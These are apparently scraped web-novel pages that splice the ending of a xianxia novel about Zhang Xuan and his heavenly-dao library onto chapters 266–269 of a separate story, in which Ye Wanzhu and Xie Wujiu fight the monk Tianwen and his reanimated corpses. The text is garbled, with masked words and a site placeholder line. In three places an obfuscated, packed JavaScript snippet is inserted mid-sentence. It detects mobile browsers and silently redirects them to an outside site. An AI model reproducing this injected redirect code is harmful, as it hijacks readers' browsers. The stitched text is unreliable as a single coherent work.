“你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 “机会我给他了,没把握住而已。和灵犀的比斗,其实就是他突破的最佳机会,可惜,他选择了退避,以为自己留了后手,可以全身而退,实际上却是失去了勇猛精进,面对超越我们的人,如果连这点精神都没有,又如何能够与之抗衡?” 聂云道。 张悬沉默不语。 当时二人的战斗,他都看在眼里,孔师的确在果决上有些欠妥。 也有可能,他不愿意斩杀洛若曦吧。 可惜,就这一念之间,错过了晋级的机会。 “如果孔师获胜,若曦就会死……”片刻后,张悬看过来,眉毛皱起。 难不成,眼前这位连女儿的生死都不管了? “有我在,她不会死……”聂云淡淡一笑:“你现在的实力,和我也差不了多少了,你觉得二人的实力,生死关头,想要救人,能不能做到?” “这……”张悬苦笑。 突破帝君,和帝君,是两个概念,如果他真的愿意出手,的确可以在最后关头将人救下,而且保证,一点伤都受不了。 “灵犀,是我另外一个妻子洛倾城所生,所以她伪装的名字,姓洛……为了能让她相信,不感情用事,到现在一直以为我还陷入昏迷……” 聂云苦笑一声:“我这个爹也算做得够狠了……这样吧,这件事还是你和她解释吧,毕竟,她现在的心思,已经转移到你身上了,我这个老爹,估计都想不起来了……哈哈,我暂时就不出现了,躲避上一段时间再说,不然,真怕她闹得天翻地覆……” 看到眼前这位如此不靠谱的老爹,面皮一抽,张悬只好答应:“好吧……” 不答应也没办法,谁让自己拐走了人家的女儿…… “天道图书馆,是我一道意念所化,是根基,也是桎梏,你能靠自己的能力,突破桎梏,说明了能力和潜力,将来前途无量,我女儿能和你在一起,做父亲的,也算欣慰了。” 正在手打中,请稍等片刻,内容更新后,请重新刷新页面,即可获取最新更新! 第二百六十六章 幽云**? 幽云**? 谢无咎神情幽暗地盯着那张无神的脸,又多看了几眼,却只能越发肯定自己的想法。 叶晚竹这时候也顺着他的眼神,看到了幽云**熟悉的脸。 不只是五官,还有那苍白到透明的皮肤,和麻木不仁的神情。 “毕烽还能动弹的时候,也是这样的。”她指了指下方。 除了幽云**,这坑底的其他“人”大多穿着道袍,背上绣着一片白云,正是白云观的衣裳。 这些都是当初幽云**的弟子? “幽云**伏诛后,圣上下令将白云观中的其他参与者打入大牢,按律法服刑。” 似乎是猜到叶晚竹在想什么,谢无咎语调沉沉,眼神依旧落在那坑底。 “这桩案子后续便被移交到了大理寺,本督也不再过问,没想到他们竟然如此整整齐齐地又回到了白云观里。” 幽云**的弟子们都是从犯,但做过的事情各有不同,也有一些入观较晚的,还不知道这里面的门道。 各自定罪工程繁琐,也不需要谢无咎出手。 眼下,这些罪名各异的弟子,却全都出现在他眼前。 谢无咎挨个看过去,那一张张空洞的脸上,什么情绪都没有,看得久了,好像自己的情绪也会被吸进去—— “砰”地一声忽然在这时候响了起来! 叶晚竹下意识地抬起头,便看到白云观的大门轰然关闭! 与此同时,这声音似乎也惊动了坑底的幽云**和弟子们,他们连连吼叫着,开始你推我搡,要往坑外爬来。 这坑不算太深,很快便有一个弟子踩着同伴的肩膀露出头来。 “嗷——”他大大地睁着无神的眼睛,却能精准地找到叶晚竹和谢无咎在树上的位置。 这弟子张开大嘴嘶吼,日光之下,叶晚竹看到他口中除了两排牙齿,其他地方都已经变成了一团团的腐肉。 又或许是因为动作太大,嘎嘣一声,这个弟子的下巴也跟着掉了下去! 这惊悚的变故却并未在他身上留下半点影响,这个弟子依旧保持着嘶吼的动作,又伸手紧紧地抓住了树干。 这是要做什么? 看着这个弟子整个人都死死地贴紧树干,甚至不惜蹭掉了那层本就已经松松垮垮的皮,叶晚竹不由得感到一阵恶心。 不过她马上就反应了过来。 “他们要上来了。”她低声道。 那没了下巴的弟子贴在树干之上,在他身后,又一个脸色惨白的弟子冒出头来,扒着前一位的后背,借力继续往上爬来! 这些诡异的弟子们人多势众,就算是一个摞一个,也足够爬到叶晚竹两人的面前! “这就是天问大师的办法?” 蹙眉看着下方弟子们的动作,叶晚竹的神情有些疑惑。 这些人显然都已经**很久了,无论是肉体的状况,还是神智,看上去都远远不如刚刚死去就变异的毕烽。 按照他们的速度,就算能爬到树上,她和谢无咎想离开,应该也不是什么难事。 除非…… “这老秃驴的手,应该伸得很长。” 谢无咎显然也和叶晚竹想到了一起去,他环顾四周,随手折下一根树枝,朝着空荡荡的院落甩了过去。 方才还柔韧摇摆着的枝条,落在谢无咎手中便成了一柄杀伤力十足的武器,嗖地一声飞向地面,挟着雷霆力道! 这枝条无疑能将院中铺地的石板击出几道裂痕,可就在这时,一枚暗器不知道从什么地方飞了出来,喀嚓便将那枝条从中间截成了两半! “还有毒!” 看着那枝条落地后,又迅速变成黑色,也瞧着脆弱了不少,叶晚竹抿了抿唇,转头朝着周围看去。 院落依旧静悄悄的,和他们刚才探查的时候一模一样。 可他们却连一点儿暗器机关的存在都没有发现。 “这白云观,真是卧虎藏龙。” 谢无咎压低声音,语气淡淡的。 “龙虎要上来了。” 叶晚竹这时候重新垂下目光,看着三四个白云观弟子贴在树干上,位置最高的那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925636|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 位若是有神智,再努努力就能伸手摸到谢无咎的脚腕。 “现在怎么办?”她挑了挑眉。 谢无咎正要挪回自己的脚,忽然间感到一阵摇晃! “不好!” 这棵结实的大树骤然开始前后晃动,叶晚竹和谢无咎都被带得连连踉跄,只能尽力稳住身形。 趁着摇晃的间隙,叶晚竹朝下方看去,在这大坑背后又发现了几个惨白惨白的身影。 看这些人的打扮,好像是来上香的香客,一身衣裳在腐烂前应该富贵得很。 但此刻他们却无论如何也富贵不起来了,齐齐抱着树干,使出自己全身的力气摇晃着。 那些白云观的弟子也不遑多让,一个摞一个地用着力,齐心协力地准备把这棵大树推倒! 四周不知道什么地方就藏着暗器,天问大师一定也正在暗中监视着他们的情况。 叶晚竹四下一扫,又立刻收回目光,和谢无咎对了对视线。 有天问大师暗中在场,究竟要到哪里落脚,他们俩就要靠默契行动了! 不过,在此之前—— “走!” 一声低喝,谢无咎忽然弯腰,一把抓起那个已经开始对他的脚腕蠢蠢欲动的白云观弟子,铆足了力气朝着离他们最远的一处房顶丢了过去! 按照常理,这种时候多半应该选择就近的地方落脚,若天问大师也有这种想法,离这棵大树越近的地方,暗器和机关也应该更多。 就算猜错,也不能再耽搁时间了! 纵身跃起,谢无咎将叶晚竹护在身前,直直跟在那弟子身后飞了过去! 不能给天问大师变动的机会! 果不其然,那惨白的弟子打着旋重重地落在房顶之上,却并没有暗器启动的声音传来。 他咚地一声砸碎了半间屋子的房顶,瓦片稀里哗啦地落下,叶晚竹和谢无咎勉强在一根房梁上落了下来。 可还没等站稳脚跟,又一样东西便朝着两人猛地飞了过来! 一张惨白的人脸“哗”地冲到了叶晚竹的面前! 第二百六十七章 那些人,不能碰! “小心!” 谢无咎连忙抬手,一巴掌将那个惨白的弟子扇飞了出去! “这个秃驴!”他啧了一声,“走!” 有这些诡异的东西在,白云观的主动权终究是掌握在天问大师的手里,他们还是尽快离开为好—— 刚想到这儿,正要趁下一个什么东西冲过来之前动身,谢无咎忽然感到一阵剧痛从胸口猛地传来! 倒吸一口冷气,谢无咎的身子也跟着晃了晃。 “怎么回事?” 叶晚竹连忙反手稳住谢无咎的身形,察觉他状态不对,低头一看,便见着谢无咎的右手正在剧烈地颤抖着。 “那些人……不能碰!” 咬紧牙关,从齿缝中溢出低语,谢无咎又做了个深呼吸,努力让自己保持清醒。 他方才接连触碰了两个那种诡异的人影,想来便中招了。 “吼!” 这个时候,吼叫声再次响起,叶晚竹转头看去,那些白云观的弟子们,正在幽云**带领之下,奋力地朝着这边而来。 幽云**跌跌撞撞地走在第一个,手中竟然还抓着拂尘,他微微仰着脑袋,一双眼睛直勾勾地朝着叶晚竹看了过来。 不知为何,叶晚竹觉得这幽云**,似乎是还保有神智! “杀!” 被刻意压低的嘶嘶声不知道从什么地方传了来,一听就知道这是天问大师发出来的。 他话音落下,白云观的弟子和香客们也在瞬间加快了向前的动作。 与此同时,叶晚竹身侧一软,是谢无咎坚持不住,双膝一软倒了下去! 连忙回过神来,叶晚竹手上用力,将谢无咎扛在自己肩头放稳。 这下该怎么办? 放眼望去,四周全都是正在围拢的惨白人影,知道触碰它们会**之后,事情也变得更加棘手。 眉头紧皱,叶晚竹正在思考对策,眼前一闪,是天问大师终于现了身。 “景平王妃。” 淡淡地笑着,天问大师依旧要用这个称呼和叶晚竹说话。 “事到如今,不知道王妃还有什么办法?” 叶晚竹抬手又扶了一把谢无咎,趁机垂眸看去,那些惨白的人影又停下了动作。 看来,从始至终,这些东西都是被天问大师操纵着来去的。 “这些是什么东西?” 收回目光,叶晚竹朝着天问大师挑了挑眉,“处心积虑地要把**复活,大师的目的,应该不会只有吓人这么简单吧?” 天问大师但笑不语,看上去并没有要回答的意思。 他也低头朝着下方看去,面上的笑容变得深邃了几分。 “景平王妃,贫僧还是那句话,”他静静地道,“你若愿意和贫僧合作,贫僧立刻将这一切,和盘托出。” 叶晚竹闻言又抿紧了嘴唇。 这秃驴,当真是油盐不进。 “或者说,你我二人各退一步?” 大约是见叶晚竹脸色不妙,天问大师转了转眼珠子,忽然又将话锋一转。 一边说着话,他一边伸出手,从怀中摸出了一个白色的小瓷瓶。 这瓷瓶上空空如也,看不出什么东西,天问大师抬手一抛,叶晚竹也跟着接住—— 隔着一层袖子,叶晚竹将那瓷瓶握在了手里。 “王妃不必如此紧张。” 见她这幅模样,天问大师嘴角微勾,又露出了一个笑容。 “贫僧是真心想和王妃合作,不会对王妃不利的。” “那可说不准。” 冷冷地刺了天问大师一句,叶晚竹这才抬起头,仔细端详着手中的小瓷瓶。 “此乃贫僧精心调配的丹药,请王妃笑纳。”天问大师适时地介绍起来。 丹药? 单手将瓶盖打开,叶晚竹眯着眼,透过细长的瓷瓶颈,只能隐隐约约看到瓶中有一粒小小的药丸。 她又将瓷瓶往自己鼻子前面举了举。 “天问大师,”叶晚竹垂着眼眸,“你的呼吸变快了,你能感觉得到吗?” 一直保持着双眼直勾勾盯向叶晚竹的动作,天问大师闻言不由得猛地愣住了! 就是在这一瞬间,叶晚竹忽然一跃而起,抬脚狠狠朝天问大师胸口 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925637|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 踢了上去! “什么脏手捏的药丸,也敢到处推销》?” 冷笑一声,叶晚竹上半身用力,扶着谢无咎往后退了几步。 以她的轻功,做不到还要带着一个人安然无恙地离开。 这次要和天问秃驴硬碰硬了! 深吸一口气,叶晚竹忍不住抬手在谢无咎腰间捏了一把。 伏在身上的人依旧呼吸沉沉,没有半点要苏醒过来的意思。 “王妃这是敬酒不吃吃罚酒!” 这个时候,天问大师也踉跄着站稳了脚步,抬眼看着叶晚竹,眼底全是狠辣阴鸷之色。 叶晚竹刚才那一脚正中他的心口,此时上面还留着一个重重的脚印,天问大师抬手护着心脉,这会儿正感到五脏六腑都在钻心地发着痛。 这景平王妃,竟然有如此深厚的内力? 天问大师的表情又变得难看了起来。 不再多说什么,他身形瞬移,几乎是在下一个瞬间,就猛地出现在叶晚竹面前! “王妃勿怪,贫僧得罪了!”他抬手便朝着叶晚竹的肩膀抓了上去! 叶晚竹眉头微皱,拧身接住天问大师的这一记,同时屈膝朝他**猛地向上狠顶! “咝——!” 控制不住地发出一声倒抽冷气的动静,天问大师原本要落到叶晚竹身上的胳膊也跟着摇晃了两下,顿时失去了目标! “你!”他瞪着叶晚竹,表情难看,脸色青白,额头上的汗珠顿时落了下去。 趁着这个功夫,叶晚竹又带着谢无咎后退几步,走到了更安全的地方。 “大秃,”这回轮到叶晚竹微笑起来,“反正您也是出家人,没用的东西,留着干什么?” 天问大师大概是怎么也想不到叶晚竹会这般说话,脸上的表情青一阵白一阵的,煞是精彩。 忍不住又笑出了声,叶晚竹看着天问大师的脸色又继续变得阴沉了下去。 “王妃,你也就剩下呈口舌之利的本事了吧?” 天问大师的眼神朝着叶晚竹身后看了过去。 “你还准备躲到什么地方去?” 第二百六十八章 师傅的死,与你有关吗? 叶晚竹面上的笑容也微微有所收敛。 她这会儿已经走到了房檐的最外沿,再往后退一步就要掉落下去。 而这个时候,下方已经围满了那些惨白的人影,正仰着脑袋看着上方的情形。 叶晚竹一眼扫过,便又看到了幽云**,他依旧带着一众弟子站在下方,双眼直勾勾地盯着叶晚竹,眼底似乎有恨意一闪而过。 “报,报……” 和叶晚竹对上了视线,幽云**呼哧带喘地张开口,竟然含混不清地吐出了几个字。 叶晚竹分神听了片刻,并不明白这位是在说什么。 她很快又警惕地朝着天问大师看了过去。 “王妃当年可是让幽云**受尽了折磨啊。” 天问大师缓缓开了口,叶晚竹没有听明白的话,他显然是听懂了。 “不仅如此,这白云观的忽然覆灭,王妃也是居功甚伟,给贫僧真是添了不少麻烦。” 叶晚竹闻言又皱起了眉毛。 “白云观也与你有关?” 天问大师笑了笑,一切尽在不言中。 “好了,景平王妃,”他拍了拍手,“这些话,还是等之后再——” “别啊,一次说个清楚,多好?” 清亮的声音响起,柳寻雁从外墙翻身跃入,毫不费力地越过那些惨白的人影,稳稳落在叶晚竹身边。 “你一个出家人,又是暗中操纵道观,又是折腾出这些妖物,闹得**人怨,我看,还是早点**比较好!” 冷笑一声,柳寻雁面上的不屑格外明显。 “死之前痛痛快快把一切交代出来,否则,你就要吃苦头了。” 天问大师后退半步,神色中又显出了惊疑不定的情绪。 “师傅的死,是不是也和你有关?”柳寻雁上前半步,眼底杀意汹涌。 叶晚竹闻言,眸光闪烁不定。 天清子大师生命的最后几年,都是在叶家老宅度过的,彼时她已经远离一切凡尘俗务,只想安心地和故交老友在一起安享晚年。 可她在叶家住了五年之后,有一天,忽然说她接到了消息,要去处理一件大事,很快便收拾行李离开了。 天清子大师离开叶家的第二年,叶晚竹认识了萧子景,这之后便一路滑向深渊,渐渐没了联系师傅的机会。 而天清子大师原本回信的速度也不算快,到了后来,更是杳无音讯。 等叶晚竹和萧子景一同随军前往西北战场,此事便被她彻底搁置了下来。 叶晚竹最后一次接到师傅的消息,便是她的死讯,前世那个时候她刚回京不久,因为生了萧延而虚弱万分,连床都爬不起来。 天清子大师的葬礼也并未大操大办,当时便是师姐柳寻雁一手主持的。 师傅毕竟也上了年纪,叶晚竹并没有多想过什么,眼下听着柳寻雁这话,她却忽然起了一身的鸡皮疙瘩。 幽云**曾经是师傅的小师弟,而这天问大师早就暗中控制了白云观替他办事。 这个秃驴的阴谋,开始得比他们推测过的还要更早,一切行为,也更隐蔽! 叶晚竹的呼吸又粗重了几分。 看着眼前这对师姐妹的模样,天问大师忽然嘴角一弯,面上的笑容也跟着变得十分古怪。 “柳姑娘觉得呢?”他朝着柳寻雁斜晲过去,“天清子向来喜欢高看自己,不自量力,说不定就是哪一次翻了船,无凭无据,怎么能把这件事扣到贫僧头上?” “住口。” 听着天问大师的出言不逊,柳寻雁的表情十分难看,“你没资格这么说师傅。” 天问大师又笑了一声,“我——” 他正要再说,叶晚竹沉默着一脚踢起半块瓦片,又瞄准了天问大师的下半身,狠狠踹了过去! 已经吃了一次亏,天问大师眸光一动,闪身躲开,身子只是微微踉跄了一下。 可惜。 轻嗤一声,叶晚竹抬起眸子,在天问大师身上来回打量了几眼。 “大秃,”她学着天问大师刚才的模样弯了弯嘴角,“你这幅嘴脸,实在不像什么运筹帷幄的得道高僧,倒是和阮莹莹在内宅中,心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15925638|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 思算尽要和人争宠的嫉妒模样有十分的相似啊。” “师傅向来不理世事,一心清修,却还是能让你这种货色嫉妒,我看来看去,应该是因为大秃你觉得自己身上多了点东西吧?” “既然如此,那本王就行行好,帮你去掉好了!” 一边说着话,叶晚竹一边又抬脚踢去,再次将瓦片瞄准了天问大师身下! 天问大师不得不再次闪身躲开,柳寻雁这时候也冷声大笑了起来。 “原来如此,师妹,我来帮你!” “住口!放肆!荒唐!” 眼见柳寻雁抽出长鞭,招招都朝着自己身下而去,再加上叶晚竹时不时踢来的瓦片,天问大师左支右绌,终于忍受不住,朝叶晚竹怒瞪而来! “你身为王妃,竟然就学得这等下三滥的招数吗?” 叶晚竹闻言倒是惊奇地瞪起了眼睛,上下扫了扫天问大师,实在是忍不住笑出了声。 “是为你自降身份,专门学的,大秃感觉怎么样?本王觉得效果不错。”她笑意盈盈。 这天问大师好生可笑,丑事恶事做了一箩筐,到头来竟然觉得别人是下三滥? “你这秃驴,坏事做尽,竟然好意思说别人是下三滥?” 柳寻雁的语气也变得尖刻,“看招!我今天就让你得偿所愿,去做太监!” 她长鞭一卷,再次朝着天问大师冲了过去! “哼,两个女流之辈,找死!” 似乎是终于被激怒了,天问大师冷哼一声,手掌一翻便迎上了柳寻雁的动作。 在他身后,一众惨白身影也跟着变得狂躁不安起来。 “那些东西有毒,师姐小心!”叶晚竹凝神看向前方的战局。 “老匹夫,只会做些见不得人的——”勾当! 柳寻雁手执长鞭上前,一句话还没说完,便见着天问大师身形猛地一晃,越过自己,朝着叶晚竹便冲了上去! 柿子捡软的捏,这个老秃驴! 顾不上骂,柳寻雁回身也追了过去! “王妃,走吧!” 第二百六十九章 你怎么醒了? 低吟一声,天问大师再度朝着叶晚竹伸出了手,依旧是要带着她离开。 